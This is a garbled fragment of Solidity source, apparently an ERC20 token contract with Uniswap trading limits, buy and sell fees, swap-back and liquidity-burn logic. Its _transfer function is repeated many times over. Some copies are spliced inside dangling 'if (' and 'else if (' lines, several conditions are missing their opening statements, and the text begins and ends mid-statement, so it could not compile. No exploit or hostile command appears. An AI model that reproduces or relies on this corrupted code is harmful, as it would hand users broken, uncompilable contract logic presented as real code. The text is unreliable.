_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
else if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
